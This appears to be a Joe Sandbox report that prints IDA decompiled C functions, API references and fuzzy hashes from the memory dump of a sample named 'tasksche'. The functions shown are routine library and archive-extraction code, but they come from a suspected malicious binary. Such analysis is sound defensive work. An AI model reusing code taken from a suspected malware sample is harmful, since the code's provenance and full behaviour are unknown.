Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm
API String ID: 2163707966-1018135373
Opcode ID: ffb5442ac62a4f85a48ef68d244cd4b92cff39c7c80ea712eb3c4bba393a9d17
Instruction ID: 59b9ad28f981bea14fd5052789bebdc6dccf333051ec123e92fb5a6599f75b08
Opcode Fuzzy Hash: ffb5442ac62a4f85a48ef68d244cd4b92cff39c7c80ea712eb3c4bba393a9d17
Instruction Fuzzy Hash: 14012479401109BBDF126E52CC45EEB3F6AEF09398F044016FD1815261DB3AA8B1EBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C0F6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040C0F6(intOrPtr* __ecx) {
				char _v2052;
				struct HINSTANCE__* _t5;
				struct HRSRC__* _t6;
				signed int _t10;
				char _t12;
				intOrPtr* _t18;

				_t18 = __ecx;
				_t5 = GetModuleHandleW(0);
				_t19 = L"RTL";
				_t6 = FindResourceW(_t5, L"RTL", 5);
				if(_t6 == 0) {
					E0040BF1D(_t18, L"LTR",  &_v2052, 0x400, 1, L"LTR");
					_t10 = E0041AA21( &_v2052, _t19);
					asm("sbb al, al");
					_t12 =  ~_t10 + 1;
					 *((char*)(_t18 + 0x10)) = _t12;
					return _t12;
				}
				 *((char*)(_t18 + 0x10)) = 1;
				return _t6;
			}

0x0040c103
0x0040c105
0x0040c10d
0x0040c114
0x0040c11c
0x0040c13b
0x0040c148
0x0040c14f
0x0040c152
0x0040c155
0x00000000
0x0040c155
0x0040c11e
0x00000000

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0040C105
FindResourceW.KERNEL32(00000000,RTL,00000005), ref: 0040C114

Strings

LTR, xrefs: 0040C124, 0040C129, 0040C138
RTL, xrefs: 0040C10D, 0040C112, 0040C146

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: FindHandleModuleResource
String ID: LTR$RTL
API String ID: 3537982541-719208805
Opcode ID: f2852aa2e9ae8da3690023ec4cfec567c4dc869793b37f459442400b2d93c3ba
Instruction ID: 3bee6f5c2cd76a6cf6446ed83b6680fa0d6a216d229c8f919e909fc3329ffe0a
Opcode Fuzzy Hash: f2852aa2e9ae8da3690023ec4cfec567c4dc869793b37f459442400b2d93c3ba
Instruction Fuzzy Hash: 69F0243238026467DA2067756C4AFE72B7CAB81310F44057AB605E71C1CFA8D499CBEE

Uniqueness

Uniqueness Score: -1.00%

Function 00423463 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00423463() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x42b9d0;
					_v28 =  *0x42b9c8;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x00423468
0x00423470
0x00423487
0x00423433
0x0042343c
0x00423448
0x0042344b
0x0042344e
0x00423450
0x00423453
0x00423458
0x00423462
0x0042345a
0x0042345e
0x0042345e
0x00423472
0x00423478
0x00423480
0x00000000
0x00423482
0x00423482
0x00423486
0x00423486
0x00423480

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0041D860), ref: 00423468
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00423478

Strings

IsProcessorFeaturePresent, xrefs: 00423472
KERNEL32, xrefs: 00423463

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 7ab99d9e72488d8bf21e4bf78f78cc33f843bd022a3d825351adfd90e0f12518
Instruction ID: 925bd1e911d968a2cf7935e923f91739ef174afc765d351c528eb22c7f6e48fa
Opcode Fuzzy Hash: 7ab99d9e72488d8bf21e4bf78f78cc33f843bd022a3d825351adfd90e0f12518
Instruction Fuzzy Hash: C7F03060B00A1AD2DB116FA1BC1A67F7B78FB80742FD105D1D6D5E0084DF7885B1D38A

Uniqueness

Uniqueness Score: -1.00%

Function 00419A36 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 33
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00419A36(intOrPtr* __ecx, intOrPtr _a4) {
				struct _WNDCLASSEXW _v52;
				short _t17;
				intOrPtr* _t18;
				intOrPtr _t21;

				_t21 = _a4;
				_t18 = __ecx;
				_v52.cbSize = 0x30;
				_v52.style = 0x828;
				_v52.lpfnWndProc = E004199EC;
				_v52.cbClsExtra = 0;
				_v52.cbWndExtra = 0;
				_v52.hInstance = _t21;
				_v52.hIcon = 0;
				_v52.hCursor = LoadCursorW(0, 0x7f00);
				_v52.hbrBackground = 6;
				_v52.lpszMenuName = 0;
				_v52.lpszClassName = L"RarHtmlClassName";
				_v52.hIconSm = 0;
				_t17 = RegisterClassExW( &_v52);
				 *_t18 = _t21;
				return _t17;
			}

0x00419a3e
0x00419a4a
0x00419a4c
0x00419a53
0x00419a5a
0x00419a61
0x00419a64
0x00419a67
0x00419a6a
0x00419a73
0x00419a7a
0x00419a81
0x00419a84
0x00419a8b
0x00419a8e
0x00419a95
0x00419a9a

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 00419A6D
RegisterClassExW.USER32 ref: 00419A8E

Strings

RarHtmlClassName, xrefs: 00419A84
0, xrefs: 00419A4C

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$RarHtmlClassName
API String ID: 1693014935-3342523147
Opcode ID: 191bbc33d2b33050640957ba9683b50acfea39c34108bf4aa43fc12e5a7eb183
Instruction ID: b9ed7023dc6f3226d58ddf2044dfc6b29f2317d5cd4a011e6e0fd8f9270d308a
Opcode Fuzzy Hash: 191bbc33d2b33050640957ba9683b50acfea39c34108bf4aa43fc12e5a7eb183
Instruction Fuzzy Hash: 81F0F2B1D00228ABCB019F9AD844AEEFBF8FF98304F10805BE500B6250D7B916018FA9

Uniqueness

Uniqueness Score: -1.00%

Function 00410E1C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 16
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E00410E1C(signed char _a4) {
				struct HINSTANCE__* _t2;

				_t2 = GetModuleHandleW(L"kernel32");
				if(_t2 != 0) {
					_t2 = GetProcAddress(_t2, "SetDllDirectoryW");
					if(_t2 != 0) {
						asm("sbb ecx, ecx");
						return _t2->i( ~(_a4 & 0x000000ff) & 0x0042a73c);
					}
				}
				return _t2;
			}

0x00410e21
0x00410e29
0x00410e31
0x00410e39
0x00410e42
0x00000000
0x00410e4b
0x00410e39
0x00410e4d

APIs

GetModuleHandleW.KERNEL32(kernel32,0040FF03,00000001), ref: 00410E21
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00410E31

Strings

kernel32, xrefs: 00410E1C
SetDllDirectoryW, xrefs: 00410E2B

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: SetDllDirectoryW$kernel32
API String ID: 1646373207-2052158636
Opcode ID: 613fa81eedf6cfefe4bb79f79fd7d80da4da150b27e50d1fb967e6d6e35de1a2
Instruction ID: d1dc000951ac042e8af12af71ac4f40d64c7c6d3e89629ddd7054994e9706fe8
Opcode Fuzzy Hash: 613fa81eedf6cfefe4bb79f79fd7d80da4da150b27e50d1fb967e6d6e35de1a2
Instruction Fuzzy Hash: 2BD0A7B03243215797282B729C1AB2B65584B50F027944D3E7E0AC0080CA6DC0A0853F

Uniqueness

Uniqueness Score: -1.00%

Function 00409135 Relevance: 6.1, APIs: 4, Instructions: 128
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00409135(WCHAR* _a4, signed int* _a8, signed int* _a12, signed int* _a16) {
				signed char _v5;
				signed char _v6;
				signed char _v7;
				char _v8;
				void* _v12;
				signed char _v16;
				void* _v24;
				void* _v32;
				void* _v40;
				short _v4136;
				signed int* _t48;
				signed int* _t49;
				signed int* _t50;
				signed char _t51;
				void* _t52;
				void* _t63;

				E0041AAF0(0x1024);
				_t48 = _a8;
				if(_t48 == 0) {
					L2:
					_v7 = 0;
				} else {
					_v7 = 1;
					if(( *_t48 | _t48[1]) == 0) {
						goto L2;
					}
				}
				_t49 = _a12;
				if(_t49 == 0) {
					L5:
					_v6 = 0;
				} else {
					_v6 = 1;
					if(( *_t49 | _t49[1]) == 0) {
						goto L5;
					}
				}
				_t50 = _a16;
				if(_t50 == 0) {
					L8:
					_v5 = 0;
				} else {
					_v5 = 1;
					if(( *_t50 | _t50[1]) == 0) {
						goto L8;
					}
				}
				_t51 = E00409041(_a4);
				_v16 = _t51;
				if(_t51 == 0xffffffff || (_t51 & 0x00000001) == 0) {
					_v8 = 0;
				} else {
					_v8 = 1;
					E0040908D(_a4, 0);
				}
				_t52 = CreateFileW(_a4, 0x40000000, 3, 0, 3, 0x2000000, 0);
				_v12 = _t52;
				if(_t52 != 0xffffffff) {
					L15:
					if(_v7 != 0) {
						E00411346(_a8,  &_v40);
					}
					if(_v6 != 0) {
						E00411346(_a12,  &_v32);
					}
					if(_v5 != 0) {
						E00411346(_a16,  &_v24);
					}
					asm("sbb eax, eax");
					asm("sbb eax, eax");
					asm("sbb eax, eax");
					SetFileTime(_v12,  ~(_v6 & 0x000000ff) &  &_v32,  ~(_v5 & 0x000000ff) &  &_v24,  ~(_v7 & 0x000000ff) &  &_v40);
					_t63 = CloseHandle(_v12);
					if(_v8 != 0) {
						return E0040908D(_a4, _v16);
					}
				} else {
					_t63 = E0040A3DC(_a4,  &_v4136, 0x800);
					if(_t63 != 0) {
						_t63 = CreateFileW( &_v4136, 0x40000000, 3, 0, 3, 0x2000000, 0);
						_v12 = _t63;
						if(_t63 != 0xffffffff) {
							goto L15;
						}
					}
				}
				return _t63;
			}

0x0040913d
0x00409142
0x0040914c
0x00409159
0x00409159
0x0040914e
0x00409153
0x00409157
0x00000000
0x00000000
0x00409157
0x0040915d
0x00409162
0x0040916f
0x0040916f
0x00409164
0x00409169
0x0040916d
0x00000000
0x00000000
0x0040916d
0x00409173
0x00409178
0x00409185
0x00409185
0x0040917a
0x0040917f
0x00409183
0x00000000
0x00000000
0x00409183
0x0040918c
0x00409191
0x00409197
0x0040929c
0x004091a5
0x004091a9
0x004091ad
0x004091ad
0x004091cd
0x004091cf
0x004091d5
0x00409212
0x00409216
0x0040921f
0x0040921f
0x00409228
0x00409231
0x00409231
0x0040923a
0x00409243
0x00409243
0x0040924e
0x0040925c
0x0040926a
0x00409275
0x0040927e
0x00409288
0x00000000
0x00409290
0x004091d7
0x004091e6
0x004091ed
0x00409204
0x00409206
0x0040920c
0x00000000
0x00000000
0x0040920c
0x004091ed
0x00409299

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,?,?,00407536,?,?,?), ref: 004091CD
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00407536,?,?,?,?), ref: 00409204
SetFileTime.KERNEL32(?,00000000,00000000,00000000,?,00407536,?,?,?,?), ref: 00409275
CloseHandle.KERNEL32(?,?,00407536,?,?,?,?), ref: 0040927E

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 6a8276f57ee53cdbc91cc020f39a17d418f5c9fb0df3296a94224ec9e042af11
Instruction ID: 149005b1c5d3a5dbb79089aff48ec9cca0dae1d541df05bff41c4f18bd56acf5
Opcode Fuzzy Hash: 6a8276f57ee53cdbc91cc020f39a17d418f5c9fb0df3296a94224ec9e042af11
Instruction Fuzzy Hash: 1141A131A00248BEEF12DBA4CC49FEE7BB89F05304F1445AAF851BB2D2C6789E45D755

Uniqueness

Uniqueness Score: -1.00%

Function 00424FCE Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00424FCE(short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t72;

				_t72 = _a8;
				if(_t72 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t72 != 0) {
						E0041D0C8( &_v20, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E00422793( *_t72 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t72, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E0041EDAE(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t72[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t72, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t72 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

0x00424fd8
0x00424fdf
0x00424ff6
0x00000000
0x00424fe6
0x00424fe8
0x00425002
0x00425007
0x0042500a
0x0042500d
0x00425036
0x0042503d
0x0042503f
0x004250c0
0x004250db
0x004250dd
0x0042501d
0x0042501d
0x00425020
0x00425022
0x00425025
0x00425025
0x00425025
0x00425025
0x00000000
0x0042502b
0x0042509f
0x0042509f
0x004250a4
0x004250aa
0x004250ad
0x004250af
0x004250b2
0x004250b2
0x004250b2
0x004250b2
0x00000000
0x004250b6
0x00425041
0x00425044
0x0042504a
0x0042504d
0x00425074
0x00425077
0x0042507d
0x00000000
0x00000000
0x0042507f
0x00425082
0x00000000
0x00000000
0x00425084
0x00425084
0x0042508a
0x0042508d
0x00424ffb
0x00424ffb
0x00425096
0x00000000
0x00425096
0x0042504f
0x00425052
0x00000000
0x00000000
0x00425056
0x00425067
0x0042506d
0x0042506f
0x00425072
0x00000000
0x00000000
0x00000000
0x00425072
0x0042500f
0x00425012
0x00425014
0x0042501a
0x0042501a
0x00000000
0x00424fea
0x00424fea
0x00424fef
0x00424ff3
0x00424ff3
0x00000000
0x00424fef
0x00424fe8

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00425002
__isleadbyte_l.LIBCMT ref: 00425036
MultiByteToWideChar.KERNEL32(00000080,00000009,0041A9BA,?,00000000,00000000,?,?,?,?,0041A9BA,00000000,?), ref: 00425067
MultiByteToWideChar.KERNEL32(00000080,00000009,0041A9BA,00000001,00000000,00000000,?,?,?,?,0041A9BA,00000000,?), ref: 004250D5

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5ede48c89caf3767bd10844c4e2adb50473344288511d083f5bbcd5d287f352f
Instruction ID: 432046cfce088e341913eb2016d1b5e66f5b1b0e2666f0ac1bd271c546b36d2c
Opcode Fuzzy Hash: 5ede48c89caf3767bd10844c4e2adb50473344288511d083f5bbcd5d287f352f
Instruction Fuzzy Hash: C831D131B00265EFDB20DF64EC809BA7BA0EF41310F5685AAE4618B2D1D735D981DB99

Uniqueness

Uniqueness Score: -1.00%

Function 00413097 Relevance: 6.1, APIs: 4, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413097(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4) {
				void* __edi;
				char _t21;
				void* _t25;
				char _t27;
				char _t31;
				void* _t32;
				char _t33;
				void* _t34;

				_t34 = __ecx;
				_t27 = 1;
				 *((char*)(__ecx + 0xa6c)) = 1;
				 *((intOrPtr*)(__ecx + 0x660)) = _a4;
				E00412F1C(__ecx, __edx, __eflags);
				 *((char*)(__ecx + 0x86c)) = 0;
				 *((char*)(__ecx + 0x86d)) = 2;
				E0041A820(_t32, __ecx + 0x86e, 4, 9);
				E0041A820(_t32, _t34 + 0x877, 6, 0xf5);
				_t21 = 0;
				do {
					 *((char*)(_t34 + _t21 + 0x76c)) = _t21;
					_t21 = _t21 + 1;
				} while (_t21 < 3);
				_t31 = _t21;
				_t33 = 1;
				while(_t21 < 0x100) {
					_t33 = _t33 - 1;
					__eflags = _t33;
					 *((char*)(_t34 + _t21 + 0x76c)) = _t31;
					if(_t33 == 0) {
						_t27 = _t27 + 1;
						_t33 = _t27;
						_t31 = _t31 + 1;
						__eflags = _t31;
					}
					_t21 = _t21 + 1;
					__eflags = _t21;
				}
				E0041A820(_t33, _t34 + 0x96c, 0, 0x40);
				_t25 = E0041A820(_t33, _t34 + 0x9ac, 8, 0xc0);
				 *((char*)(_t34 + 0x642)) = 7;
				return _t25;
			}

APIs

Part of subcall function 00412F1C: _memset.LIBCMT ref: 00412F36

_memset.LIBCMT ref: 004130CD
_memset.LIBCMT ref: 004130E0
_memset.LIBCMT ref: 00413120
_memset.LIBCMT ref: 00413133

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: 0d338722b2e3e51696f4e1a05dd7a6835afd7bcab5979c6f78e2f817af711592
Instruction ID: dbb621f027503421eccd8689c294ebf88999011181a54c0115c225b35bd7b5a3
Opcode Fuzzy Hash: 0d338722b2e3e51696f4e1a05dd7a6835afd7bcab5979c6f78e2f817af711592
Instruction Fuzzy Hash: 9811487164478069E220EA7A4C46FE3B6DD9B1931CF44883FF2DEC7183C6AA6846C756

Uniqueness

Uniqueness Score: -1.00%

Function 00411072 Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00411072(void* __ecx, void* __edx, void* __edi) {
				void* __ebx;
				intOrPtr _t12;
				long* _t15;
				intOrPtr _t16;
				long* _t23;
				void* _t26;
				intOrPtr _t31;
				void* _t32;

				_t27 = __edi;
				_t26 = __edx;
				E0041A4DC(E004297F9, _t32);
				_push(__ecx);
				EnterCriticalSection(0x44f590);
				 *0x44f588 =  *0x44f588 + 1;
				_t35 =  *0x44f588;
				if( *0x44f588 == 0) {
					_push(0x1b8);
					_t15 = E0041A89A(0x44f590, _t26, __edi, _t35);
					 *((intOrPtr*)(_t32 - 0x10)) = _t15;
					 *(_t32 - 4) =  *(_t32 - 4) & 0x00000000;
					if(_t15 == 0) {
						_t16 = 0;
						__eflags = 0;
					} else {
						_t16 = E00410F29(_t15, 0x20);
					}
					 *(_t32 - 4) =  *(_t32 - 4) | 0xffffffff;
					 *0x44f584 = _t16;
				}
				_t38 =  *0x44f588 - 1;
				if( *0x44f588 <= 1) {
					LeaveCriticalSection(0x44f590);
					_t12 =  *0x44f584;
				} else {
					_push(0x1b8);
					_t23 = E0041A89A(0x44f590, _t26, _t27, _t38);
					 *((intOrPtr*)(_t32 - 0x10)) = _t23;
					 *(_t32 - 4) = 1;
					if(_t23 == 0) {
						_t31 = 0;
						__eflags = 0;
					} else {
						_t31 = E00410F29(_t23, 0x20);
					}
					LeaveCriticalSection(0x44f590);
					_t12 = _t31;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t32 - 0xc));
				return _t12;
			}

0x00411072
0x00411072
0x00411077
0x0041107c
0x00411085
0x00411090
0x0041109b
0x0041109d
0x0041109f
0x004110a0
0x004110a6
0x004110a9
0x004110af
0x004110bc
0x004110bc
0x004110b1
0x004110b5
0x004110b5
0x004110be
0x004110c2
0x004110c2
0x004110c7
0x004110ce
0x00411100
0x00411106
0x004110d0
0x004110d0
0x004110d7
0x004110d9
0x004110dc
0x004110e5
0x004110f2
0x004110f2
0x004110e7
0x004110ee
0x004110ee
0x004110f5
0x004110fb
0x004110fb
0x00411110
0x00411118

APIs

__EH_prolog.LIBCMT ref: 00411077
EnterCriticalSection.KERNEL32(0044F590,?,?,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED,?), ref: 00411085
LeaveCriticalSection.KERNEL32(0044F590,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED,?,?,?), ref: 004110F5

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

LeaveCriticalSection.KERNEL32(0044F590,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED,?,?,?), ref: 00411100

Part of subcall function 00410F29: InitializeCriticalSection.KERNEL32(000001A0,?,000001B8,0044F590,004110EE,00000020,?,00409901,?,?,?,0040BB60,?,?,00000000,?), ref: 00410F62
Part of subcall function 00410F29: CreateSemaphoreW.KERNEL32(00000000,00000000,00000020,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F6C
Part of subcall function 00410F29: CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,00409901,?,?,?,0040BB60,?,?,00000000,?,?,004124ED), ref: 00410F7E

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CriticalSection$CreateLeave$EnterEventH_prologInitializeSemaphore_malloc
String ID:
API String ID: 1405584564-0
Opcode ID: 3f0bec743d3c3e54beb4ca038bcc84bad5a4a530a73f67f15a7eea00e341295c
Instruction ID: 491e5497db774d6ab3e78c5f78b9db4af1dc916e288055147b814ae628d52a75
Opcode Fuzzy Hash: 3f0bec743d3c3e54beb4ca038bcc84bad5a4a530a73f67f15a7eea00e341295c
Instruction Fuzzy Hash: 1A118234A01321EBD724AF74AC457EABBA4AB0C355F10453BE902E3692DBBC89D1865D

Uniqueness

Uniqueness Score: -1.00%

Function 0042332E Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0042332E(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00422C1F(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E00422D0F(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E00423234(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E00423179(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

APIs

__cftof_l.LIBCMT ref: 00423354

Part of subcall function 00423179: __fltout2.LIBCMT ref: 004231A5

__cftog_l.LIBCMT ref: 0042337A
